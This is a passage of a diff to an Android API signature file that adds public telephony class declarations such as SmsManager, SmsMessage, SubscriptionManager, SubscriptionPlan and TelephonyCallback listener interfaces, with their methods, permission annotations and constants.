+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.SignalThresholdInfo> CREATOR;
+    field public static final int SIGNAL_MEASUREMENT_TYPE_RSCP = 2; // 0x2
+    field public static final int SIGNAL_MEASUREMENT_TYPE_RSRP = 3; // 0x3
+    field public static final int SIGNAL_MEASUREMENT_TYPE_RSRQ = 4; // 0x4
+    field public static final int SIGNAL_MEASUREMENT_TYPE_RSSI = 1; // 0x1
+    field public static final int SIGNAL_MEASUREMENT_TYPE_RSSNR = 5; // 0x5
+    field public static final int SIGNAL_MEASUREMENT_TYPE_SSRSRP = 6; // 0x6
+    field public static final int SIGNAL_MEASUREMENT_TYPE_SSRSRQ = 7; // 0x7
+    field public static final int SIGNAL_MEASUREMENT_TYPE_SSSINR = 8; // 0x8
+    field public static final int SIGNAL_MEASUREMENT_TYPE_UNKNOWN = 0; // 0x0
+  }
+
+  public static final class SignalThresholdInfo.Builder {
+    ctor public SignalThresholdInfo.Builder();
+    method @NonNull public android.telephony.SignalThresholdInfo build();
+    method @NonNull public android.telephony.SignalThresholdInfo.Builder setRadioAccessNetworkType(int);
+    method @NonNull public android.telephony.SignalThresholdInfo.Builder setSignalMeasurementType(int);
+    method @NonNull public android.telephony.SignalThresholdInfo.Builder setThresholds(@NonNull int[]);
+  }
+
+  public final class SmsManager {
+    method public String createAppSpecificSmsToken(android.app.PendingIntent);
+    method @Nullable public String createAppSpecificSmsTokenWithPackageInfo(@Nullable String, @NonNull android.app.PendingIntent);
+    method @NonNull public android.telephony.SmsManager createForSubscriptionId(int);
+    method public java.util.ArrayList<java.lang.String> divideMessage(String);
+    method public void downloadMultimediaMessage(android.content.Context, String, android.net.Uri, android.os.Bundle, android.app.PendingIntent);
+    method public void downloadMultimediaMessage(@NonNull android.content.Context, @NonNull String, @NonNull android.net.Uri, @Nullable android.os.Bundle, @Nullable android.app.PendingIntent, long);
+    method @NonNull public android.os.Bundle getCarrierConfigValues();
+    method @Deprecated public static android.telephony.SmsManager getDefault();
+    method public static int getDefaultSmsSubscriptionId();
+    method @IntRange(from=0) @RequiresPermission(anyOf={android.Manifest.permission.READ_PHONE_STATE, "android.permission.READ_PRIVILEGED_PHONE_STATE"}) public int getSmsCapacityOnIcc();
+    method @Deprecated public static android.telephony.SmsManager getSmsManagerForSubscriptionId(int);
+    method @RequiresPermission(android.Manifest.permission.SMS_FINANCIAL_TRANSACTIONS) public void getSmsMessagesForFinancialApp(android.os.Bundle, @NonNull java.util.concurrent.Executor, @NonNull android.telephony.SmsManager.FinancialSmsCallback);
+    method @Nullable @RequiresPermission("android.permission.READ_PRIVILEGED_PHONE_STATE") public String getSmscAddress();
+    method public int getSubscriptionId();
+    method public void injectSmsPdu(byte[], String, android.app.PendingIntent);
+    method public void sendDataMessage(String, String, short, byte[], android.app.PendingIntent, android.app.PendingIntent);
+    method public void sendMultimediaMessage(android.content.Context, android.net.Uri, String, android.os.Bundle, android.app.PendingIntent);
+    method public void sendMultimediaMessage(@NonNull android.content.Context, @NonNull android.net.Uri, @Nullable String, @Nullable android.os.Bundle, @Nullable android.app.PendingIntent, long);
+    method public void sendMultipartTextMessage(String, String, java.util.ArrayList<java.lang.String>, java.util.ArrayList<android.app.PendingIntent>, java.util.ArrayList<android.app.PendingIntent>);
+    method public void sendMultipartTextMessage(@NonNull String, @Nullable String, @NonNull java.util.List<java.lang.String>, @Nullable java.util.List<android.app.PendingIntent>, @Nullable java.util.List<android.app.PendingIntent>, long);
+    method public void sendMultipartTextMessage(@NonNull String, @Nullable String, @NonNull java.util.List<java.lang.String>, @Nullable java.util.List<android.app.PendingIntent>, @Nullable java.util.List<android.app.PendingIntent>, @NonNull String, @Nullable String);
+    method public void sendTextMessage(String, String, String, android.app.PendingIntent, android.app.PendingIntent);
+    method public void sendTextMessage(@NonNull String, @Nullable String, @NonNull String, @Nullable android.app.PendingIntent, @Nullable android.app.PendingIntent, long);
+    method @RequiresPermission(allOf={android.Manifest.permission.MODIFY_PHONE_STATE, android.Manifest.permission.SEND_SMS}) public void sendTextMessageWithoutPersisting(String, String, String, android.app.PendingIntent, android.app.PendingIntent);
+    method @RequiresPermission(android.Manifest.permission.MODIFY_PHONE_STATE) public boolean setSmscAddress(@NonNull String);
+    field public static final String EXTRA_MMS_DATA = "android.telephony.extra.MMS_DATA";
+    field public static final String EXTRA_MMS_HTTP_STATUS = "android.telephony.extra.MMS_HTTP_STATUS";
+    field public static final String MMS_CONFIG_ALIAS_ENABLED = "aliasEnabled";
+    field public static final String MMS_CONFIG_ALIAS_MAX_CHARS = "aliasMaxChars";
+    field public static final String MMS_CONFIG_ALIAS_MIN_CHARS = "aliasMinChars";
+    field public static final String MMS_CONFIG_ALLOW_ATTACH_AUDIO = "allowAttachAudio";
+    field public static final String MMS_CONFIG_APPEND_TRANSACTION_ID = "enabledTransID";
+    field public static final String MMS_CONFIG_EMAIL_GATEWAY_NUMBER = "emailGatewayNumber";
+    field public static final String MMS_CONFIG_GROUP_MMS_ENABLED = "enableGroupMms";
+    field public static final String MMS_CONFIG_HTTP_PARAMS = "httpParams";
+    field public static final String MMS_CONFIG_HTTP_SOCKET_TIMEOUT = "httpSocketTimeout";
+    field public static final String MMS_CONFIG_MAX_IMAGE_HEIGHT = "maxImageHeight";
+    field public static final String MMS_CONFIG_MAX_IMAGE_WIDTH = "maxImageWidth";
+    field public static final String MMS_CONFIG_MAX_MESSAGE_SIZE = "maxMessageSize";
+    field public static final String MMS_CONFIG_MESSAGE_TEXT_MAX_SIZE = "maxMessageTextSize";
+    field public static final String MMS_CONFIG_MMS_DELIVERY_REPORT_ENABLED = "enableMMSDeliveryReports";
+    field public static final String MMS_CONFIG_MMS_ENABLED = "enabledMMS";
+    field public static final String MMS_CONFIG_MMS_READ_REPORT_ENABLED = "enableMMSReadReports";
+    field public static final String MMS_CONFIG_MULTIPART_SMS_ENABLED = "enableMultipartSMS";
+    field public static final String MMS_CONFIG_NAI_SUFFIX = "naiSuffix";
+    field public static final String MMS_CONFIG_NOTIFY_WAP_MMSC_ENABLED = "enabledNotifyWapMMSC";
+    field public static final String MMS_CONFIG_RECIPIENT_LIMIT = "recipientLimit";
+    field public static final String MMS_CONFIG_SEND_MULTIPART_SMS_AS_SEPARATE_MESSAGES = "sendMultipartSmsAsSeparateMessages";
+    field public static final String MMS_CONFIG_SHOW_CELL_BROADCAST_APP_LINKS = "config_cellBroadcastAppLinks";
+    field public static final String MMS_CONFIG_SMS_DELIVERY_REPORT_ENABLED = "enableSMSDeliveryReports";
+    field public static final String MMS_CONFIG_SMS_TO_MMS_TEXT_LENGTH_THRESHOLD = "smsToMmsTextLengthThreshold";
+    field public static final String MMS_CONFIG_SMS_TO_MMS_TEXT_THRESHOLD = "smsToMmsTextThreshold";
+    field public static final String MMS_CONFIG_SUBJECT_MAX_LENGTH = "maxSubjectLength";
+    field public static final String MMS_CONFIG_SUPPORT_HTTP_CHARSET_HEADER = "supportHttpCharsetHeader";
+    field public static final String MMS_CONFIG_SUPPORT_MMS_CONTENT_DISPOSITION = "supportMmsContentDisposition";
+    field public static final String MMS_CONFIG_UA_PROF_TAG_NAME = "uaProfTagName";
+    field public static final String MMS_CONFIG_UA_PROF_URL = "uaProfUrl";
+    field public static final String MMS_CONFIG_USER_AGENT = "userAgent";
+    field public static final int MMS_ERROR_CONFIGURATION_ERROR = 7; // 0x7
+    field public static final int MMS_ERROR_HTTP_FAILURE = 4; // 0x4
+    field public static final int MMS_ERROR_INVALID_APN = 2; // 0x2
+    field public static final int MMS_ERROR_IO_ERROR = 5; // 0x5
+    field public static final int MMS_ERROR_NO_DATA_NETWORK = 8; // 0x8
+    field public static final int MMS_ERROR_RETRY = 6; // 0x6
+    field public static final int MMS_ERROR_UNABLE_CONNECT_MMS = 3; // 0x3
+    field public static final int MMS_ERROR_UNSPECIFIED = 1; // 0x1
+    field public static final int RESULT_BLUETOOTH_DISCONNECTED = 27; // 0x1b
+    field public static final int RESULT_CANCELLED = 23; // 0x17
+    field public static final int RESULT_ENCODING_ERROR = 18; // 0x12
+    field public static final int RESULT_ERROR_FDN_CHECK_FAILURE = 6; // 0x6
+    field public static final int RESULT_ERROR_GENERIC_FAILURE = 1; // 0x1
+    field public static final int RESULT_ERROR_LIMIT_EXCEEDED = 5; // 0x5
+    field public static final int RESULT_ERROR_NONE = 0; // 0x0
+    field public static final int RESULT_ERROR_NO_SERVICE = 4; // 0x4
+    field public static final int RESULT_ERROR_NULL_PDU = 3; // 0x3
+    field public static final int RESULT_ERROR_RADIO_OFF = 2; // 0x2
+    field public static final int RESULT_ERROR_SHORT_CODE_NEVER_ALLOWED = 8; // 0x8
+    field public static final int RESULT_ERROR_SHORT_CODE_NOT_ALLOWED = 7; // 0x7
+    field public static final int RESULT_INTERNAL_ERROR = 21; // 0x15
+    field public static final int RESULT_INVALID_ARGUMENTS = 11; // 0xb
+    field public static final int RESULT_INVALID_BLUETOOTH_ADDRESS = 26; // 0x1a
+    field public static final int RESULT_INVALID_SMSC_ADDRESS = 19; // 0x13
+    field public static final int RESULT_INVALID_SMS_FORMAT = 14; // 0xe
+    field public static final int RESULT_INVALID_STATE = 12; // 0xc
+    field public static final int RESULT_MODEM_ERROR = 16; // 0x10
+    field public static final int RESULT_NETWORK_ERROR = 17; // 0x11
+    field public static final int RESULT_NETWORK_REJECT = 10; // 0xa
+    field public static final int RESULT_NO_BLUETOOTH_SERVICE = 25; // 0x19
+    field public static final int RESULT_NO_DEFAULT_SMS_APP = 32; // 0x20
+    field public static final int RESULT_NO_MEMORY = 13; // 0xd
+    field public static final int RESULT_NO_RESOURCES = 22; // 0x16
+    field public static final int RESULT_OPERATION_NOT_ALLOWED = 20; // 0x14
+    field public static final int RESULT_RADIO_NOT_AVAILABLE = 9; // 0x9
+    field public static final int RESULT_RECEIVE_DISPATCH_FAILURE = 500; // 0x1f4
+    field public static final int RESULT_RECEIVE_INJECTED_NULL_PDU = 501; // 0x1f5
+    field public static final int RESULT_RECEIVE_NULL_MESSAGE_FROM_RIL = 503; // 0x1f7
+    field public static final int RESULT_RECEIVE_RUNTIME_EXCEPTION = 502; // 0x1f6
+    field public static final int RESULT_RECEIVE_SQL_EXCEPTION = 505; // 0x1f9
+    field public static final int RESULT_RECEIVE_URI_EXCEPTION = 506; // 0x1fa
+    field public static final int RESULT_RECEIVE_WHILE_ENCRYPTED = 504; // 0x1f8
+    field public static final int RESULT_REMOTE_EXCEPTION = 31; // 0x1f
+    field public static final int RESULT_REQUEST_NOT_SUPPORTED = 24; // 0x18
+    field public static final int RESULT_RIL_ACCESS_BARRED = 122; // 0x7a
+    field public static final int RESULT_RIL_BLOCKED_DUE_TO_CALL = 123; // 0x7b
+    field public static final int RESULT_RIL_CANCELLED = 119; // 0x77
+    field public static final int RESULT_RIL_ENCODING_ERR = 109; // 0x6d
+    field public static final int RESULT_RIL_INTERNAL_ERR = 113; // 0x71
+    field public static final int RESULT_RIL_INVALID_ARGUMENTS = 104; // 0x68
+    field public static final int RESULT_RIL_INVALID_MODEM_STATE = 115; // 0x73
+    field public static final int RESULT_RIL_INVALID_SMSC_ADDRESS = 110; // 0x6e
+    field public static final int RESULT_RIL_INVALID_SMS_FORMAT = 107; // 0x6b
+    field public static final int RESULT_RIL_INVALID_STATE = 103; // 0x67
+    field public static final int RESULT_RIL_MODEM_ERR = 111; // 0x6f
+    field public static final int RESULT_RIL_NETWORK_ERR = 112; // 0x70
+    field public static final int RESULT_RIL_NETWORK_NOT_READY = 116; // 0x74
+    field public static final int RESULT_RIL_NETWORK_REJECT = 102; // 0x66
+    field public static final int RESULT_RIL_NO_MEMORY = 105; // 0x69
+    field public static final int RESULT_RIL_NO_RESOURCES = 118; // 0x76
+    field public static final int RESULT_RIL_OPERATION_NOT_ALLOWED = 117; // 0x75
+    field public static final int RESULT_RIL_RADIO_NOT_AVAILABLE = 100; // 0x64
+    field public static final int RESULT_RIL_REQUEST_NOT_SUPPORTED = 114; // 0x72
+    field public static final int RESULT_RIL_REQUEST_RATE_LIMITED = 106; // 0x6a
+    field public static final int RESULT_RIL_SIMULTANEOUS_SMS_AND_CALL_NOT_ALLOWED = 121; // 0x79
+    field public static final int RESULT_RIL_SIM_ABSENT = 120; // 0x78
+    field public static final int RESULT_RIL_SMS_SEND_FAIL_RETRY = 101; // 0x65
+    field public static final int RESULT_RIL_SYSTEM_ERR = 108; // 0x6c
+    field public static final int RESULT_SMS_BLOCKED_DURING_EMERGENCY = 29; // 0x1d
+    field public static final int RESULT_SMS_SEND_RETRY_FAILED = 30; // 0x1e
+    field public static final int RESULT_SYSTEM_ERROR = 15; // 0xf
+    field public static final int RESULT_UNEXPECTED_EVENT_STOP_SENDING = 28; // 0x1c
+    field public static final int STATUS_ON_ICC_FREE = 0; // 0x0
+    field public static final int STATUS_ON_ICC_READ = 1; // 0x1
+    field public static final int STATUS_ON_ICC_SENT = 5; // 0x5
+    field public static final int STATUS_ON_ICC_UNREAD = 3; // 0x3
+    field public static final int STATUS_ON_ICC_UNSENT = 7; // 0x7
+  }
+
+  public abstract static class SmsManager.FinancialSmsCallback {
+    ctor public SmsManager.FinancialSmsCallback();
+    method public abstract void onFinancialSmsMessages(android.database.CursorWindow);
+  }
+
+  public class SmsMessage {
+    method public static int[] calculateLength(CharSequence, boolean);
+    method public static int[] calculateLength(String, boolean);
+    method @Deprecated public static android.telephony.SmsMessage createFromPdu(byte[]);
+    method public static android.telephony.SmsMessage createFromPdu(byte[], String);
+    method public String getDisplayMessageBody();
+    method public String getDisplayOriginatingAddress();
+    method public String getEmailBody();
+    method public String getEmailFrom();
+    method public int getIndexOnIcc();
+    method @Deprecated public int getIndexOnSim();
+    method public String getMessageBody();
+    method public android.telephony.SmsMessage.MessageClass getMessageClass();
+    method @Nullable public String getOriginatingAddress();
+    method public byte[] getPdu();
+    method public int getProtocolIdentifier();
+    method public String getPseudoSubject();
+    method public String getServiceCenterAddress();
+    method public int getStatus();
+    method public int getStatusOnIcc();
+    method @Deprecated public int getStatusOnSim();
+    method public static android.telephony.SmsMessage.SubmitPdu getSubmitPdu(String, String, String, boolean);
+    method public static android.telephony.SmsMessage.SubmitPdu getSubmitPdu(String, String, short, byte[], boolean);
+    method public static int getTPLayerLengthForPDU(String);
+    method public long getTimestampMillis();
+    method public byte[] getUserData();
+    method public boolean isCphsMwiMessage();
+    method public boolean isEmail();
+    method public boolean isMWIClearMessage();
+    method public boolean isMWISetMessage();
+    method public boolean isMwiDontStore();
+    method public boolean isReplace();
+    method public boolean isReplyPathPresent();
+    method public boolean isStatusReportMessage();
+    field public static final int ENCODING_16BIT = 3; // 0x3
+    field public static final int ENCODING_7BIT = 1; // 0x1
+    field public static final int ENCODING_8BIT = 2; // 0x2
+    field public static final int ENCODING_UNKNOWN = 0; // 0x0
+    field public static final String FORMAT_3GPP = "3gpp";
+    field public static final String FORMAT_3GPP2 = "3gpp2";
+    field public static final int MAX_USER_DATA_BYTES = 140; // 0x8c
+    field public static final int MAX_USER_DATA_BYTES_WITH_HEADER = 134; // 0x86
+    field public static final int MAX_USER_DATA_SEPTETS = 160; // 0xa0
+    field public static final int MAX_USER_DATA_SEPTETS_WITH_HEADER = 153; // 0x99
+  }
+
+  public enum SmsMessage.MessageClass {
+    enum_constant public static final android.telephony.SmsMessage.MessageClass CLASS_0;
+    enum_constant public static final android.telephony.SmsMessage.MessageClass CLASS_1;
+    enum_constant public static final android.telephony.SmsMessage.MessageClass CLASS_2;
+    enum_constant public static final android.telephony.SmsMessage.MessageClass CLASS_3;
+    enum_constant public static final android.telephony.SmsMessage.MessageClass UNKNOWN;
+  }
+
+  public static class SmsMessage.SubmitPdu {
+    field public byte[] encodedMessage;
+    field public byte[] encodedScAddress;
+  }
+
+  public class SubscriptionInfo implements android.os.Parcelable {
+    method public android.graphics.Bitmap createIconBitmap(android.content.Context);
+    method public int describeContents();
+    method public int getCardId();
+    method public int getCarrierId();
+    method public CharSequence getCarrierName();
+    method public String getCountryIso();
+    method public int getDataRoaming();
+    method public CharSequence getDisplayName();
+    method @Nullable public android.os.ParcelUuid getGroupUuid();
+    method public String getIccId();
+    method public int getIconTint();
+    method @Deprecated public int getMcc();
+    method @Nullable public String getMccString();
+    method @Deprecated public int getMnc();
+    method @Nullable public String getMncString();
+    method public String getNumber();
+    method public int getSimSlotIndex();
+    method public int getSubscriptionId();
+    method public int getSubscriptionType();
+    method public boolean isEmbedded();
+    method public boolean isOpportunistic();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.SubscriptionInfo> CREATOR;
+  }
+
+  public class SubscriptionManager {
+    method public void addOnOpportunisticSubscriptionsChangedListener(@NonNull java.util.concurrent.Executor, @NonNull android.telephony.SubscriptionManager.OnOpportunisticSubscriptionsChangedListener);
+    method @Deprecated public void addOnSubscriptionsChangedListener(android.telephony.SubscriptionManager.OnSubscriptionsChangedListener);
+    method public void addOnSubscriptionsChangedListener(@NonNull java.util.concurrent.Executor, @NonNull android.telephony.SubscriptionManager.OnSubscriptionsChangedListener);
+    method @RequiresPermission(android.Manifest.permission.MODIFY_PHONE_STATE) public void addSubscriptionsIntoGroup(@NonNull java.util.List<java.lang.Integer>, @NonNull android.os.ParcelUuid);
+    method public boolean canManageSubscription(android.telephony.SubscriptionInfo);
+    method @NonNull @RequiresPermission(android.Manifest.permission.MODIFY_PHONE_STATE) public android.os.ParcelUuid createSubscriptionGroup(@NonNull java.util.List<java.lang.Integer>);
+    method @Deprecated public static android.telephony.SubscriptionManager from(android.content.Context);
+    method public java.util.List<android.telephony.SubscriptionInfo> getAccessibleSubscriptionInfoList();
+    method public static int getActiveDataSubscriptionId();
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public android.telephony.SubscriptionInfo getActiveSubscriptionInfo(int);
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public int getActiveSubscriptionInfoCount();
+    method public int getActiveSubscriptionInfoCountMax();
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public android.telephony.SubscriptionInfo getActiveSubscriptionInfoForSimSlotIndex(int);
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public java.util.List<android.telephony.SubscriptionInfo> getActiveSubscriptionInfoList();
+    method @NonNull public java.util.List<android.telephony.SubscriptionInfo> getCompleteActiveSubscriptionInfoList();
+    method public static int getDefaultDataSubscriptionId();
+    method public static int getDefaultSmsSubscriptionId();
+    method public static int getDefaultSubscriptionId();
+    method public static int getDefaultVoiceSubscriptionId();
+    method @NonNull public java.util.List<android.net.Uri> getDeviceToDeviceStatusSharingContacts(int);
+    method public int getDeviceToDeviceStatusSharingPreference(int);
+    method @NonNull @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public java.util.List<android.telephony.SubscriptionInfo> getOpportunisticSubscriptions();
+    method public static int getSlotIndex(int);
+    method @Nullable public int[] getSubscriptionIds(int);
+    method @NonNull public java.util.List<android.telephony.SubscriptionPlan> getSubscriptionPlans(int);
+    method @NonNull @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public java.util.List<android.telephony.SubscriptionInfo> getSubscriptionsInGroup(@NonNull android.os.ParcelUuid);
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public boolean isActiveSubscriptionId(int);
+    method public boolean isNetworkRoaming(int);
+    method public static boolean isUsableSubscriptionId(int);
+    method public static boolean isValidSubscriptionId(int);
+    method public void removeOnOpportunisticSubscriptionsChangedListener(@NonNull android.telephony.SubscriptionManager.OnOpportunisticSubscriptionsChangedListener);
+    method public void removeOnSubscriptionsChangedListener(android.telephony.SubscriptionManager.OnSubscriptionsChangedListener);
+    method @RequiresPermission(android.Manifest.permission.MODIFY_PHONE_STATE) public void removeSubscriptionsFromGroup(@NonNull java.util.List<java.lang.Integer>, @NonNull android.os.ParcelUuid);
+    method @RequiresPermission(android.Manifest.permission.MODIFY_PHONE_STATE) public void setDeviceToDeviceStatusSharingContacts(int, @NonNull java.util.List<android.net.Uri>);
+    method @RequiresPermission(android.Manifest.permission.MODIFY_PHONE_STATE) public void setDeviceToDeviceStatusSharingPreference(int, int);
+    method @RequiresPermission(android.Manifest.permission.MODIFY_PHONE_STATE) public boolean setOpportunistic(boolean, int);
+    method public void setSubscriptionOverrideCongested(int, boolean, long);
+    method public void setSubscriptionOverrideCongested(int, boolean, @NonNull int[], long);
+    method public void setSubscriptionOverrideUnmetered(int, boolean, long);
+    method public void setSubscriptionOverrideUnmetered(int, boolean, @NonNull int[], long);
+    method public void setSubscriptionPlans(int, @NonNull java.util.List<android.telephony.SubscriptionPlan>);
+    method @RequiresPermission("android.permission.WRITE_EMBEDDED_SUBSCRIPTIONS") public void switchToSubscription(int, @NonNull android.app.PendingIntent);
+    field public static final String ACTION_DEFAULT_SMS_SUBSCRIPTION_CHANGED = "android.telephony.action.DEFAULT_SMS_SUBSCRIPTION_CHANGED";
+    field public static final String ACTION_DEFAULT_SUBSCRIPTION_CHANGED = "android.telephony.action.DEFAULT_SUBSCRIPTION_CHANGED";
+    field public static final String ACTION_MANAGE_SUBSCRIPTION_PLANS = "android.telephony.action.MANAGE_SUBSCRIPTION_PLANS";
+    field public static final String ACTION_REFRESH_SUBSCRIPTION_PLANS = "android.telephony.action.REFRESH_SUBSCRIPTION_PLANS";
+    field public static final int D2D_SHARING_ALL = 3; // 0x3
+    field public static final int D2D_SHARING_ALL_CONTACTS = 1; // 0x1
+    field public static final int D2D_SHARING_DISABLED = 0; // 0x0
+    field public static final int D2D_SHARING_SELECTED_CONTACTS = 2; // 0x2
+    field public static final String D2D_STATUS_SHARING = "d2d_sharing_status";
+    field public static final String D2D_STATUS_SHARING_SELECTED_CONTACTS = "d2d_sharing_contacts";
+    field public static final int DATA_ROAMING_DISABLE = 0; // 0x0
+    field public static final int DATA_ROAMING_ENABLE = 1; // 0x1
+    field public static final int DEFAULT_SUBSCRIPTION_ID = 2147483647; // 0x7fffffff
+    field public static final String EXTRA_SLOT_INDEX = "android.telephony.extra.SLOT_INDEX";
+    field public static final String EXTRA_SUBSCRIPTION_INDEX = "android.telephony.extra.SUBSCRIPTION_INDEX";
+    field public static final int INVALID_SIM_SLOT_INDEX = -1; // 0xffffffff
+    field public static final int INVALID_SUBSCRIPTION_ID = -1; // 0xffffffff
+    field public static final int SUBSCRIPTION_TYPE_LOCAL_SIM = 0; // 0x0
+    field public static final int SUBSCRIPTION_TYPE_REMOTE_SIM = 1; // 0x1
+  }
+
+  public static class SubscriptionManager.OnOpportunisticSubscriptionsChangedListener {
+    ctor public SubscriptionManager.OnOpportunisticSubscriptionsChangedListener();
+    method public void onOpportunisticSubscriptionsChanged();
+  }
+
+  public static class SubscriptionManager.OnSubscriptionsChangedListener {
+    ctor public SubscriptionManager.OnSubscriptionsChangedListener();
+    method public void onSubscriptionsChanged();
+  }
+
+  public final class SubscriptionPlan implements android.os.Parcelable {
+    method public java.util.Iterator<android.util.Range<java.time.ZonedDateTime>> cycleIterator();
+    method public int describeContents();
+    method public int getDataLimitBehavior();
+    method public long getDataLimitBytes();
+    method public long getDataUsageBytes();
+    method public long getDataUsageTime();
+    method @NonNull public int[] getNetworkTypes();
+    method @Nullable public CharSequence getSummary();
+    method @Nullable public CharSequence getTitle();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final long BYTES_UNKNOWN = -1L; // 0xffffffffffffffffL
+    field public static final long BYTES_UNLIMITED = 9223372036854775807L; // 0x7fffffffffffffffL
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.SubscriptionPlan> CREATOR;
+    field public static final int LIMIT_BEHAVIOR_BILLED = 1; // 0x1
+    field public static final int LIMIT_BEHAVIOR_DISABLED = 0; // 0x0
+    field public static final int LIMIT_BEHAVIOR_THROTTLED = 2; // 0x2
+    field public static final int LIMIT_BEHAVIOR_UNKNOWN = -1; // 0xffffffff
+    field public static final long TIME_UNKNOWN = -1L; // 0xffffffffffffffffL
+  }
+
+  public static class SubscriptionPlan.Builder {
+    method public android.telephony.SubscriptionPlan build();
+    method public static android.telephony.SubscriptionPlan.Builder createNonrecurring(java.time.ZonedDateTime, java.time.ZonedDateTime);
+    method public static android.telephony.SubscriptionPlan.Builder createRecurring(java.time.ZonedDateTime, java.time.Period);
+    method @NonNull public android.telephony.SubscriptionPlan.Builder resetNetworkTypes();
+    method public android.telephony.SubscriptionPlan.Builder setDataLimit(long, int);
+    method public android.telephony.SubscriptionPlan.Builder setDataUsage(long, long);
+    method @NonNull public android.telephony.SubscriptionPlan.Builder setNetworkTypes(@NonNull int[]);
+    method public android.telephony.SubscriptionPlan.Builder setSummary(@Nullable CharSequence);
+    method public android.telephony.SubscriptionPlan.Builder setTitle(@Nullable CharSequence);
+  }
+
+  public class TelephonyCallback {
+    ctor public TelephonyCallback();
+  }
+
+  public static interface TelephonyCallback.ActiveDataSubscriptionIdListener {
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public void onActiveDataSubscriptionIdChanged(int);
+  }
+
+  public static interface TelephonyCallback.BarringInfoListener {
+    method @RequiresPermission(allOf={android.Manifest.permission.READ_PRECISE_PHONE_STATE, android.Manifest.permission.ACCESS_FINE_LOCATION}) public void onBarringInfoChanged(@NonNull android.telephony.BarringInfo);
+  }
+
+  public static interface TelephonyCallback.CallDisconnectCauseListener {
+    method @RequiresPermission(android.Manifest.permission.READ_PRECISE_PHONE_STATE) public void onCallDisconnectCauseChanged(int, int);
+  }
+
+  public static interface TelephonyCallback.CallForwardingIndicatorListener {
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public void onCallForwardingIndicatorChanged(boolean);
+  }
+
+  public static interface TelephonyCallback.CallStateListener {
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public void onCallStateChanged(int);
+  }
+
+  public static interface TelephonyCallback.CarrierNetworkListener {
+    method public void onCarrierNetworkChange(boolean);
+  }
+
+  public static interface TelephonyCallback.CellInfoListener {
+    method @RequiresPermission(allOf={android.Manifest.permission.READ_PHONE_STATE, android.Manifest.permission.ACCESS_FINE_LOCATION}) public void onCellInfoChanged(@NonNull java.util.List<android.telephony.CellInfo>);
+  }
+
+  public static interface TelephonyCallback.CellLocationListener {
+    method @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public void onCellLocationChanged(@NonNull android.telephony.CellLocation);
+  }
+
+  public static interface TelephonyCallback.DataActivationStateListener {
+    method public void onDataActivationStateChanged(int);
+  }
+
+  public static interface TelephonyCallback.DataActivityListener {
+    method public void onDataActivity(int);
+  }
+
+  public static interface TelephonyCallback.DataConnectionStateListener {
+    method public void onDataConnectionStateChanged(int, int);
+  }
+
+  public static interface TelephonyCallback.DisplayInfoListener {
+    method public void onDisplayInfoChanged(@NonNull android.telephony.TelephonyDisplayInfo);
+  }
+
+  public static interface TelephonyCallback.EmergencyNumberListListener {
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public void onEmergencyNumberListChanged(@NonNull java.util.Map<java.lang.Integer,java.util.List<android.telephony.emergency.EmergencyNumber>>);
+  }
+
+  public static interface TelephonyCallback.ImsCallDisconnectCauseListener {
+    method @RequiresPermission(android.Manifest.permission.READ_PRECISE_PHONE_STATE) public void onImsCallDisconnectCauseChanged(@NonNull android.telephony.ims.ImsReasonInfo);
+  }
+
+  public static interface TelephonyCallback.MessageWaitingIndicatorListener {
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public void onMessageWaitingIndicatorChanged(boolean);
+  }
+
+  public static interface TelephonyCallback.PhysicalChannelConfigListener {
+    method @RequiresPermission(android.Manifest.permission.READ_PRECISE_PHONE_STATE) public void onPhysicalChannelConfigChanged(@NonNull java.util.List<android.telephony.PhysicalChannelConfig>);
+  }
+
+  public static interface TelephonyCallback.PreciseDataConnectionStateListener {
+    method @RequiresPermission(android.Manifest.permission.READ_PRECISE_PHONE_STATE) public void onPreciseDataConnectionStateChanged(@NonNull android.telephony.PreciseDataConnectionState);
+  }
+
+  public static interface TelephonyCallback.RegistrationFailedListener {
+    method @RequiresPermission(allOf={android.Manifest.permission.READ_PRECISE_PHONE_STATE, android.Manifest.permission.ACCESS_FINE_LOCATION}) public void onRegistrationFailed(@NonNull android.telephony.CellIdentity, @NonNull String, int, int, int);
+  }
+
+  public static interface TelephonyCallback.ServiceStateListener {
+    method public void onServiceStateChanged(@NonNull android.telephony.ServiceState);
+  }
+
+  public static interface TelephonyCallback.SignalStrengthsListener {
+    method public void onSignalStrengthsChanged(@NonNull android.telephony.SignalStrength);
+  }
+
+  public static interface TelephonyCallback.UserMobileDataStateListener {
+    method public void onUserMobileDataStateChanged(boolean);
+  }
+
+  public final class TelephonyDisplayInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getNetworkType();
+    method public int getOverrideNetworkType();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.TelephonyDisplayInfo> CREATOR;
+    field public static final int OVERRIDE_NETWORK_TYPE_LTE_ADVANCED_PRO = 2; // 0x2
+    field public static final int OVERRIDE_NETWORK_TYPE_LTE_CA = 1; // 0x1
+    field public static final int OVERRIDE_NETWORK_TYPE_NONE = 0; // 0x0
+    field public static final int OVERRIDE_NETWORK_TYPE_NR_ADVANCED = 5; // 0x5
+    field public static final int OVERRIDE_NETWORK_TYPE_NR_NSA = 3; // 0x3
+    field @Deprecated public static final int OVERRIDE_NETWORK_TYPE_NR_NSA_MMWAVE = 4; // 0x4
+  }
+
+  public class TelephonyManager {
+    method public boolean canChangeDtmfToneLength();
